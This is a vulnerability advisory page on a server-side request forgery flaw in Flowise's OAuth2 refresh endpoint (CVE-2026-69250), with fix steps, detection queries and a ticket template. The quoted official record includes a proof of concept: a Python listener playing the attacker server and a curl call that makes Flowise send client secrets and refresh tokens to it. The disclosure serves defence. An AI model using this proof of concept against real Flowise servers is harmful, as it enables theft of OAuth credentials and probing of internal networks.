Flowise can be made to send requests to attacker servers and leak secrets

HighSE Fix-First Score 43/100CVE-2026-69250SE-AIV-01673Server-side request forgeryAI apps and chat interfacesMade public 4 Aug 2026

Download as PDF

What this means

An attacker can make Flowise send HTTP requests to any server they control, including internal servers on the company network. The requests include OAuth secrets like refresh tokens and client secrets. Responses from those servers are sent back to the attacker, letting them read private data or take over accounts that use those credentials.

SecurityElites Manager Brief: the decision in one minute

Flowise has a public endpoint that makes outbound HTTP requests to URLs stored in the database without checking where they point. An attacker with access to create or edit OAuth credentials in Flowise can redirect those requests to their own server to steal secrets and read internal network data.

SecurityElites Fix-First Score43 of 100
Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity.
SecurityElites fix windowWithin 30 days
High severity. This is our suggestion from common practice; your own policy comes first.
Who should own the fixPlatform team or DevOps team managing Flowise infrastructure.
Likely effortAbout 15 minutes per Flowise installation: upgrade to the fixed version and restart. Longer if you need to audit whether credentials have been edited or if internal services were accessed.

Questions to ask your team or supplier

  • Do we have a process to track which users can create or edit OAuth credentials in Flowise, and have we audited recent changes?
  • Can you confirm that all Flowise instances are running version 3.1.3 or later and that we have restarted them?

Message you can forward to the owning team

Security notice: Flowise can be made to send requests to attacker servers and leak secrets (CVE-2026-69250)

Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: upgrade to flowise 3.1.3 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-69250-flowise-can-be-made-to-send-requests-to-attacker/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01673

What is at stake in your AI setup

  • OAuth secrets and refresh tokens used to authenticate AI provider APIs: an attacker can steal these and make calls to AI services at your expense or modify behavior.
  • API keys for AI providers and other services connected to Flowise: an attacker can read these from the credential store or from responses to their SSRF requests.
  • Internal services and tools that Flowise is connected to: an attacker can probe or attack those services by redirecting Flowise requests to them.

Map where your company uses AI

Who is exposed

  • Flowise servers running version 3.1.2 or earlier that have OAuth credentials stored.
  • Teams that allow users to create or edit OAuth credentials in Flowise.
  • Setups where Flowise can reach internal services (databases, APIs, internal URLs).

Upgrades you need

SoftwareAffected versionsMove to
flowise
npm
Every version before 3.1.33.1.3 or later

Am I affected?

Enter the version you run. Nothing you type is stored.

SecurityElites Developer Brief: the technical picture

Is it being attackedWorking attack code is public, so expect attacks to follow
Where the attacker must beAnywhere that can reach it over a network, including the internet if it is exposed
Account neededAn administrator account
Does a person have to do somethingNo. It works without anyone clicking or opening anything
How hard it is to doEasy. It works reliably once the attacker can reach it
Risk of: data being readHigh
Risk of: data or settings being changedHigh
Risk of: the service being taken downNone
Can attackers automate it at scaleNo, according to CISA. Each target needs manual work
How much control an attacker gainsTotal control of the affected software, according to CISA

Read from the official severity rating: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Kind of coding mistake

  • CWE-639: another user's data can be reached by changing an identifier

If you cannot upgrade today

  • Until you can upgrade, restrict network access to Flowise so that it cannot make outbound HTTP connections to the internet or to internal services. Use a firewall or proxy to block the server.
  • Restrict access to the Flowise admin UI so that only trusted administrators can create or edit OAuth credentials.
  • If possible, disable the OAuth credential refresh feature until the upgrade is complete.

Signs it may already have been used against you

  • In Flowise application or proxy logs, look for requests to `/api/v1/oauth2-credential/refresh/` followed by a credential ID. Check whether the source IP is unexpected or whether the response includes error messages or data that should not b
  • In network logs or firewall rules, look for outbound HTTP POST requests from the Flowise server to external IPs or internal IPs that the application should not contact.
  • In the database, search for OAuth credential records with `accessTokenUrl` pointing to external domains, private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), or localhost.
  • If an attacker-controlled server was used, check whether that server received POST requests with `grant_type=refresh_token` or `client_secret` in the body.

Log searches to start from

Requests to the vulnerable OAuth refresh endpoint (adapt field names to match your logs)Splunk

sourcetype=http_access path="*/api/v1/oauth2-credential/refresh/*" | stats count by src_ip, path, status

Outbound POST requests from Flowise to external hosts (adapt field names to match your logs)Elastic

process.name:*flowise* AND network.direction:outbound AND http.request.method:POST | stats count by destination.ip, destination.domain, http.response.status_code

Written with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.

SecurityElites Fix Guide: step by step

  1. Find where Flowise is installedList all servers or containers running Flowise. Check the version number on each one by looking at package.json, the admin UI, or running `npm list flowise`.
  2. Check the current versionOn each Flowise server, confirm the installed version. If it is earlier than 3.1.3, it is affected and needs the upgrade.
  3. Review OAuth credentials for tamperingIn the Flowise database, check whether any OAuth credentials have been edited recently or have unusual `accessTokenUrl` values. Look for entries that point to external servers or internal IPs that should not be there.
  4. Review access logs for the vulnerable endpointSearch logs for requests to `/api/v1/oauth2-credential/refresh/` from unexpected sources. If found, check the response logs to see whether sensitive data was returned.
  5. Upgrade Flowise to version 3.1.3 or laterUse your package manager to install Flowise version 3.1.3 or the latest version. This fixes the authentication check and adds protections against sending requests to private or restricted servers.
  6. Restart FlowiseRestart all Flowise services or containers to load the new version.
  7. Verify the upgradeConfirm that all Flowise servers are now running version 3.1.3 or later by checking the version again. If you can access the admin UI, check the version there as well.
  8. Rotate OAuth secretsIf you found evidence of tampering or unauthorized access in step 3 or 4, rotate all OAuth client secrets, refresh tokens, and credentials used in those affected OAuth integrations as soon as possible.

How to confirm it is fixed: Confirm all Flowise servers are running version 3.1.3 or later by checking the installed version with `npm list flowise` or the admin UI.

SecurityElites Quick Fixes: copy and paste

Upgrade flowise with npmupgrade

npm install flowise@3.1.3
npm ls flowise

Check Flowise version installedfor this issue

npm list flowise

Require token-based metadata on an AWS instancegeneral hardening

aws ec2 modify-instance-metadata-options \
  --instance-id i-XXXXXXXXXXXX \
  --http-tokens required --http-put-response-hop-limit 1

Test in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.

Let your AI coding assistant do the upgrade

Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.

Instruction for your coding assistant

You are helping me fix a security vulnerability (CVE-2026-69250) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n   - flowise (npm): must be 3.1.3 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.

SecurityElites Incident Drill: could your team handle this?

Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.

What is the vulnerable endpoint and why is it accessible without authentication?A good answer: The `/api/v1/oauth2-credential/refresh/:credentialId` endpoint is whitelisted in the authentication middleware, so it does not require a login. It makes HTTP requests to a URL stored in the OAuth credential record without checking whether t
What secrets could be stolen through this vulnerability?A good answer: OAuth client secrets, refresh tokens, and any other credential data encrypted and stored in Flowise could be sent to an attacker's server if they modify the OAuth credential to point there.
How would an attacker use this to attack internal services?A good answer: An attacker could edit an OAuth credential to set `accessTokenUrl` to an internal IP or hostname, causing Flowise to send a POST request to that internal service. The response is reflected back, letting the attacker read data from internal
What should we do if we suspect this vulnerability was exploited?A good answer: Check logs for unexpected calls to the refresh endpoint, review OAuth credentials for suspicious URLs, and rotate all OAuth secrets and tokens used in Flowise.

Run a full timed drill with your team

Ticket for your backlog

Paste into Jira, GitHub Issues or any tracker that reads Markdown.

Ready-made ticket

## Flowise can be made to send requests to attacker servers and leak secrets (CVE-2026-69250)

**Severity:** High  |  **SE Fix-First Score:** 43/100  |  **Fix window:** Within 30 days
**Record:** SE-AIV-01673 https://securityelites.com/ai-vulnerabilities/cve-2026-69250-flowise-can-be-made-to-send-requests-to-attacker/

### Why this matters
An attacker can make Flowise send HTTP requests to any server they control, including internal servers on the company network. The requests include OAuth secrets like refresh tokens and client secrets. Responses from those servers are sent back to the attacker, letting them read private data or take over accounts that use those credentials.

### What to do
1. Find where Flowise is installed
2. Check the current version
3. Review OAuth credentials for tampering
4. Review access logs for the vulnerable endpoint
5. Upgrade Flowise to version 3.1.3 or later
6. Restart Flowise
7. Verify the upgrade
8. Rotate OAuth secrets

Full steps: https://securityelites.com/ai-vulnerabilities/cve-2026-69250-flowise-can-be-made-to-send-requests-to-attacker/

### Done when
- [ ] flowise is at 3.1.3 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm all Flowise servers are running version 3.1.3 or later by checking the installed version with `npm list flowise` or the admin UI.
- [ ] Logs were checked for signs of earlier use

SecurityElites Fix Tracker

Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.

Sign in to track this fix

Change history

  • 4 Aug 2026: Made public
  • 2 Dec 2026: Published

Official record

### SummaryThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.### DetailsThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.Confirmed in runtime code:1. **Unauthenticated route via whitelist** - `dist/utils/constants.js` includes: - `/api/v1/oauth2-credential/callback` - `/api/v1/oauth2-credential/refresh` - `dist/index.js` auth middleware uses: - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))` - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.2. **User-controlled SSRF target** - In refresh handler (`dist/routes/oauth2/index.js`): - loads credential by `credentialId` - decrypts credential data - reads `accessTokenUrl` - executes: - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)` - No `secureAxiosRequest()` / denylist wrapper is used in this path.3. **Non-blind response reflection** - Response returns: - `tokenInfo: { ...tokenData, ... }` - `tokenData` is the attacker/internal server response body.4. **Secrets sent to SSRF target** - Request body includes: - `client_id` - `client_secret` - `grant_type=refresh_token` - `refresh_token`### PoC#### Environment used- `flowiseai/flowise:latest` container (`localhost:3000`) - Attacker server (`localhost:18081`) returning JSON#### Step 1: Start attacker server```bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import jsonclass H(BaseHTTPRequestHandler): def do_POST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUEST_PATH', self.path, flush=True) print('REQUEST_BODY', b, flush=True) self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode()) def log_message(self, fmt, *args): passHTTPServer(('0.0.0.0', 18081), H).serve_forever() PY ```#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.Resulting credential ID used in runtime validation:- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`#### Step 3: Trigger refresh **without auth**```bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}' ```Observed response:```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echo_len": 76, "has_new_refresh_token": false } } ```Attacker server logs captured:```text REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2 ```This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (`tokenInfo`).### Impact- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration. - **Who can set

Weakness type: CWE-639

Use this record in your own tools

Get this record as JSON

curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-69250

For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker

The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.